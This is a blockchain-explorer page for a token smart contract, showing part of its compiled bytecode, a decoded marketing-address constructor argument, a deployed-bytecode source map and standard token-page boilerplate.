565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b8082018082111561044657610446610fdb565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561107457600080fd5b81516104bf81610eea565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110cf5784516001600160a01b0316835293830193918301916001016110aa565b50506001600160a01b03969096166060850152505050608001529392505050565b60006020828403121561110257600080fd5b5051919050565b808202811582820484141761044657610446610fdb565b60008261113d57634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220c4b93d22a23da1550b4aafddaca20eb71e0c881d4e040ba0fcc8d682d978ee5964736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000ac9f0c6844988dd13a6ebe793e6939ee601b59c6

-----Decoded View---------------
Arg [0] : _marketing (address): 0xAc9f0c6844988DD13A6EbE793e6939ee601b59c6

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000ac9f0c6844988dd13a6ebe793e6939ee601b59c6


Deployed Bytecode Sourcemap

4633:6712:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6403:73;;;;;;;;;;;;6434:42;6403:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;6403:73:0;;;;;;;;5922:44;;;;;;;;;;;;;;;;;;;368:25:1;;;356:2;341:18;5922:44:0;222:177:1;5028:80:0;;;;;;;;;;-1:-1:-1;5100:5:0;;;;;;;;;;;-1:-1:-1;;;5100:5:0;;;;5028:80;;;;5100:5;5028:80;:::i;7523:161::-;;;;;;;;;;-1:-1:-1;7523:161:0;;;;;:::i;:::-;;:::i;:::-;;;1578:14:1;;1571:22;1553:41;;1541:2;1526:18;7523:161:0;1413:187:1;4684:125:0;;;;;;;;;;-1:-1:-1;5887:28:0;4684:125;;7959:306;;;;;;;;;;-1:-1:-1;7959:306:0;;;;;:::i;:::-;;:::i;8273:109::-;;;;;;;;;;-1:-1:-1;8273:109:0;;;;;:::i;:::-;-1:-1:-1;;;;;8359:15:0;8335:4;8359:15;;;:6;:15;;;;;;;;;8273:109;4815:117;;;;;;;;;;-1:-1:-1;4815:117:0;;6394:2;2460:36:1;;2448:2;2433:18;4815:117:0;2318:184:1;5848:67:0;;;;;;;;;;;;5887:28;5848:67;;6483:21;;;;;;;;;;-1:-1:-1;6483:21:0;;;;-1:-1:-1;;;;;6483:21:0;;;11134:208;;;;;;;;;;-1:-1:-1;11134:208:0;;;;;:::i;:::-;;:::i;:::-;;5339:117;;;;;;;;;;-1:-1:-1;5339:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5432:16:0;5405:7;5432:16;;;:7;:16;;;;;;;5339:117;901:94;;;;;;;;;;;;;:::i;5114:80::-;;;;;;;;;;-1:-1:-1;5166:7:0;751:6;-1:-1:-1;;;;;751:6:0;5114:80;;7350:165;;;;;;;;;;-1:-1:-1;7350:165:0;;;;;:::i;:::-;;:::i;6227:27::-;;;;;;;;;;-1:-1:-1;6227:27:0;;;;-1:-1:-1;;;;;6227:27:0;;;6015:45;;;;;;;;;;;;6057:3;6015:45;;5200:133;;;;;;;;;;-1:-1:-1;5200:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;5302:19:0;;;5284:7;5302:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;5200:133;5973:35;;;;;;;;;;;;6007:1;5973:35;;1003:192;;;;;;;;;;-1:-1:-1;1003:192:0;;;;;:::i;:::-;;:::i;7523:161::-;7600:4;7617:37;7626:10;7638:7;7647:6;7617:8;:37::i;:::-;-1:-1:-1;7672:4:0;7523:161;;;;;:::o;7959:306::-;-1:-1:-1;;;;;8080:19:0;;8059:4;8080:19;;;:11;:19;;;;;;;;8100:10;8080:31;;;;;;;;-1:-1:-1;;8080:52:0;8076:126;;-1:-1:-1;;;;;8149:19:0;;;;;;:11;:19;;;;;;;;8169:10;8149:31;;;;;;;:41;;8184:6;;8149:19;:41;;8184:6;;8149:41;:::i;:::-;;;;-1:-1:-1;;8076:126:0;8221:36;8231:6;8239:9;8250:6;8221:9;:36::i;:::-;8214:43;;7959:306;;;;;;:::o;11134:208::-;724:7;751:6;-1:-1:-1;;;;;751:6:0;307:10;813:23;805:68;;;;-1:-1:-1;;;805:68:0;;;;;;;:::i;:::-;;;;;;;;;11223:3:::1;11213:6;:13;;11205:51;;;::::0;-1:-1:-1;;;11205:51:0;;4138:2:1;11205:51:0::1;::::0;::::1;4120:21:1::0;4177:2;4157:18;;;4150:30;4216:28;4196:18;;;4189:56;4262:18;;11205:51:0::1;3936:350:1::0;11205:51:0::1;11267:13;:22:::0;;;11305:29:::1;::::0;368:25:1;;;11305:29:0::1;::::0;356:2:1;341:18;11305:29:0::1;;;;;;;11134:208:::0;:::o;901:94::-;724:7;751:6;-1:-1:-1;;;;;751:6:0;307:10;813:23;805:68;;;;-1:-1:-1;;;805:68:0;;;;;;;:::i;:::-;966:21:::1;984:1;966:9;:21::i;:::-;901:94::o:0;7350:165::-;7428:4;7445:40;7455:10;7467:9;7478:6;7445:9;:40::i;:::-;-1:-1:-1;7503:4:0;;7350:165;-1:-1:-1;;;7350:165:0:o;1003:192::-;724:7;751:6;-1:-1:-1;;;;;751:6:0;307:10;813:23;805:68;;;;-1:-1:-1;;;805:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1092:22:0;::::1;1084:73;;;::::0;-1:-1:-1;;;1084:73:0;;4493:2:1;1084:73:0::1;::::0;::::1;4475:21:1::0;4532:2;4512:18;;;4505:30;4571:34;4551:18;;;4544:62;-1:-1:-1;;;4622:18:1;;;4615:36;4668:19;;1084:73:0::1;4291:402:1::0;1084:73:0::1;1168:19;1178:8;1168:9;:19::i;:::-;1003:192:::0;:::o;7692:259::-;-1:-1:-1;;;;;7787:20:0;;7779:52;;;;-1:-1:-1;;;7779:52:0;;4900:2:1;7779:52:0;;;4882:21:1;4939:2;4919:18;;;4912:30;-1:-1:-1;;;4958:18:1;;;4951:49;5017:18;;7779:52:0;4698:343:1;7779:52:0;-1:-1:-1;;;;;7850:21:0;;7842:53;;;;-1:-1:-1;;;7842:53:0;;4900:2:1;7842:53:0;;;4882:21:1;4939:2;4919:18;;;4912:30;-1:-1:-1;;;4958:18:1;;;4951:49;5017:18;;7842:53:0;4698:343:1;7842:53:0;-1:-1:-1;;;;;7906:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;7692:259::o;8563:1015::-;8643:4;8675;-1:-1:-1;;;;;8698:16:0;;8690:64;;;;-1:-1:-1;;;8690:64:0;;5248:2:1;8690:64:0;;;5230:21:1;5287:2;5267:18;;;5260:30;5326:34;5306:18;;;5299:62;-1:-1:-1;;;5377:18:1;;;5370:33;5420:19;;8690:64:0;5046:399:1;8690:64:0;-1:-1:-1;;;;;8773:18:0;;8765:68;;;;-1:-1:-1;;;8765:68:0;;5652:2:1;8765:68:0;;;5634:21:1;5691:2;5671:18;;;5664:30;5730:34;5710:18;;;5703:62;-1:-1:-1;;;5781:18:1;;;5774:35;5826:19;;8765:68:0;5450:401:1;8765:68:0;8861:1;8852:6;:10;8844:64;;;;-1:-1:-1;;;8844:64:0;;6058:2:1;8844:64:0;;;6040:21:1;6097:2;6077:18;;;6070:30;6136:34;6116:18;;;6109:62;-1:-1:-1;;;6187:18:1;;;6180:39;6236:19;;8844:64:0;5856:405:1;8844:64:0;8924:17;8932:4;8938:2;8924:7;:17::i;:::-;:29;;;;-1:-1:-1;8947:6:0;;-1:-1:-1;;;8947:6:0;;;;8946:7;8924:29;8921:243;;;9019:4;8970:28;5432:16;;;:7;:16;;;;;;9067:13;;9043:37;;9040:113;;9102:34;9115:20;9102:12;:34::i;:::-;8955:209;8921:243;-1:-1:-1;;;;;9180:12:0;;;;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;9196:10:0;;;;;;:6;:10;;;;;;;;9180:26;9176:73;;;-1:-1:-1;9232:5:0;9176:73;9259:23;9294:21;9302:4;9308:6;9294:7;:21::i;:::-;9285:30;;:6;:30;:::i;:::-;-1:-1:-1;;;;;9326:13:0;;;;;;:7;:13;;;;;:32;;9259:56;;-1:-1:-1;9259:56:0;;9326:13;;;:32;;9259:56;;9326:32;:::i;:::-;;;;-1:-1:-1;9369:22:0;;-1:-1:-1;9395:7:0;9394:63;;9451:6;9394:63;;;9406:42;9416:4;9422:17;9430:4;9436:2;9422:7;:17::i;:::-;9441:6;9406:9;:42::i;:::-;-1:-1:-1;;;;;9468:11:0;;;;;;:7;:11;;;;;:29;;9369:88;;-1:-1:-1;9369:88:0;;9468:11;;;:29;;9369:88;;9468:29;:::i;:::-;;;;;;;;9529:2;-1:-1:-1;;;;;9514:34:0;9523:4;-1:-1:-1;;;;;9514:34:0;;9533:14;9514:34;;;;368:25:1;;356:2;341:18;;222:177;9514:34:0;;;;;;;;-1:-1:-1;9566:4:0;;8563:1015;-1:-1:-1;;;;;;8563:1015:0:o;1203:173::-;1259:16;1278:6;;-1:-1:-1;;;;;1295:17:0;;;-1:-1:-1;;;;;;1295:17:0;;;;;;1328:40;;1278:6;;;;;;;1328:40;;1259:16;1328:40;1248:128;1203:173;:::o;8390:165::-;-1:-1:-1;;;;;8490:13:0;;8456:4;8490:13;;;:8;:13;;;;;;8456:4;;8490:13;;:31;;;;-1:-1:-1;;;;;;8508:13:0;;;;;;:8;:13;;;;;;;;8507:14;8490:31;8474:47;8390:165;-1:-1:-1;;;;8390:165:0:o;10340:786::-;6574:6;:13;;-1:-1:-1;;;;6574:13:0;-1:-1:-1;;;6574:13:0;;;10457:16:::1;::::0;;10471:1:::1;10457:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10457:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10457:16:0::1;10433:40;;10502:4;10484;10489:1;10484:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10484:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10528:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10528:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10484:7;;10528:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10518:4;10523:1;10518:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10518:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;10582:4:::1;10562:26;::::0;;;:11:::1;:26:::0;;;;;;10597:10:::1;::::0;;;::::1;10562:47:::0;;;;;;;;-1:-1:-1;;10562:68:0::1;10558:168;;10667:4;10647:26;::::0;;;:11:::1;:26;::::0;;;;;;;10682:10:::1;::::0;-1:-1:-1;;;;;10682:10:0::1;10647:47:::0;;;;;;;-1:-1:-1;;10647:67:0;;10558:168:::1;10742:10;::::0;:200:::1;::::0;-1:-1:-1;;;10742:200:0;;-1:-1:-1;;;;;10742:10:0;;::::1;::::0;:61:::1;::::0;:200:::1;::::0;10818:20;;10742:10:::1;::::0;10869:4;;10896::::1;::::0;10916:15:::1;::::0;10742:200:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;10738:247;;10967:7;;;10738:247;10995:12;11023:21;:25:::0;11020:98:::1;;11063:16;::::0;:55:::1;::::0;-1:-1:-1;;;;;11063:16:0;;::::1;::::0;11092:21:::1;::::0;11063:55:::1;::::0;;;11092:21;11063:16;:55:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;11050:68:0;;-1:-1:-1;;11020:98:0::1;10412:714;;6598:1;-1:-1:-1::0;6610:6:0;:14;;-1:-1:-1;;;;6610:14:0;;;10340:786::o;5462:153::-;5566:16;;5559:39;;-1:-1:-1;;;5559:39:0;;-1:-1:-1;;;;;178:32:1;;;5559:39:0;;;160:51:1;5531:7:0;;5601:6;;5566:16;;;5559:34;;133:18:1;;5559:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:48;;;;:::i;9586:746::-;9666:7;;9712:26;;;;-1:-1:-1;6007:1:0;9712:26;9753:3;9760:1;9753:8;9749:28;;9771:6;9764:13;;;;;9749:28;9791:17;6057:3;9811:12;9820:3;9811:6;:12;:::i;:::-;:30;;;;:::i;:::-;9791:50;-1:-1:-1;9856:13:0;;9852:437;;9886:18;6159:3;9907:16;9886:18;9907:6;:16;:::i;:::-;:34;;;;:::i;:::-;9972:4;9956:22;;;;:7;:22;;;;;:35;;9886:55;;-1:-1:-1;9982:9:0;;9956:22;;;:35;;9982:9;;9956:35;:::i;:::-;;;;-1:-1:-1;;10011:40:0;;368:25:1;;;10034:4:0;;-1:-1:-1;;;;;10011:40:0;;;;;356:2:1;341:18;10011:40:0;;;;;;;10071:14;;10068:210;;10122:4;10106:22;;;;:7;:22;;;;;:36;;10132:10;;10106:22;:36;;10132:10;;10106:36;:::i;:::-;;;;-1:-1:-1;;6434:42:0;10161:22;;;;:7;:22;;;:36;;10187:10;;10161:22;:36;;10187:10;;10161:36;:::i;:::-;;;;-1:-1:-1;;10221:41:0;;368:25:1;;;6434:42:0;;10238:4;;10221:41;;356:2:1;341:18;10221:41:0;;;;;;;10068:210;9871:418;9852:437;10306:18;10315:9;10306:6;:18;:::i;:::-;10299:25;9586:746;-1:-1:-1;;;;;;9586:746:0:o;404:548:1:-;516:4;545:2;574;563:9;556:21;606:6;600:13;649:6;644:2;633:9;629:18;622:34;674:1;684:140;698:6;695:1;692:13;684:140;;;793:14;;;789:23;;783:30;759:17;;;778:2;755:26;748:66;713:10;;684:140;;;688:3;873:1;868:2;859:6;848:9;844:22;840:31;833:42;943:2;936;932:7;927:2;919:6;915:15;911:29;900:9;896:45;892:54;884:62;;;;404:548;;;;:::o;957:131::-;-1:-1:-1;;;;;1032:31:1;;1022:42;;1012:70;;1078:1;1075;1068:12;1093:315;1161:6;1169;1222:2;1210:9;1201:7;1197:23;1193:32;1190:52;;;1238:1;1235;1228:12;1190:52;1277:9;1264:23;1296:31;1321:5;1296:31;:::i;:::-;1346:5;1398:2;1383:18;;;;1370:32;;-1:-1:-1;;;1093:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2917:388::-;2985:6;2993;3046:2;3034:9;3025:7;3021:23;3017:32;3014:52;;;3062:1;3059;3052:12;3014:52;3101:9;3088:23;3120:31;3145:5;3120:31;:::i;:::-;3170:5;-1:-1:-1;3227:2:1;3212:18;;3199:32;3240:33;3199:32;3240:33;:::i;:::-;3292:7;3282:17;;;2917:388;;;;;:::o;3310:127::-;3371:10;3366:3;3362:20;3359:1;3352:31;3402:4;3399:1;3392:15;3426:4;3423:1;3416:15;3442:128;3509:9;;;3530:11;;;3527:37;;;3544:18;;:::i;3575:356::-;3777:2;3759:21;;;3796:18;;;3789:30;3855:34;3850:2;3835:18;;3828:62;3922:2;3907:18;;3575:356::o;6266:125::-;6331:9;;;6352:10;;;6349:36;;;6365:18;;:::i;6528:127::-;6589:10;6584:3;6580:20;6577:1;6570:31;6620:4;6617:1;6610:15;6644:4;6641:1;6634:15;6660:251;6730:6;6783:2;6771:9;6762:7;6758:23;6754:32;6751:52;;;6799:1;6796;6789:12;6751:52;6831:9;6825:16;6850:31;6875:5;6850:31;:::i;6916:980::-;7178:4;7226:3;7215:9;7211:19;7257:6;7246:9;7239:25;7283:2;7321:6;7316:2;7305:9;7301:18;7294:34;7364:3;7359:2;7348:9;7344:18;7337:31;7388:6;7423;7417:13;7454:6;7446;7439:22;7492:3;7481:9;7477:19;7470:26;;7531:2;7523:6;7519:15;7505:29;;7552:1;7562:195;7576:6;7573:1;7570:13;7562:195;;;7641:13;;-1:-1:-1;;;;;7637:39:1;7625:52;;7732:15;;;;7697:12;;;;7673:1;7591:9;7562:195;;;-1:-1:-1;;;;;;;7813:32:1;;;;7808:2;7793:18;;7786:60;-1:-1:-1;;;7877:3:1;7862:19;7855:35;7774:3;6916:980;-1:-1:-1;;;6916:980:1:o;8111:184::-;8181:6;8234:2;8222:9;8213:7;8209:23;8205:32;8202:52;;;8250:1;8247;8240:12;8202:52;-1:-1:-1;8273:16:1;;8111:184;-1:-1:-1;8111:184:1:o;8300:168::-;8373:9;;;8404;;8421:15;;;8415:22;;8401:37;8391:71;;8442:18;;:::i;8473:217::-;8513:1;8539;8529:132;;8583:10;8578:3;8574:20;8571:1;8564:31;8618:4;8615:1;8608:15;8646:4;8643:1;8636:15;8529:132;-1:-1:-1;8675:9:1;;8473:217::o

Swarm Source

ipfs://c4b93d22a23da1550b4aafddaca20eb71e0c881d4e040ba0fcc8d682d978ee59
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.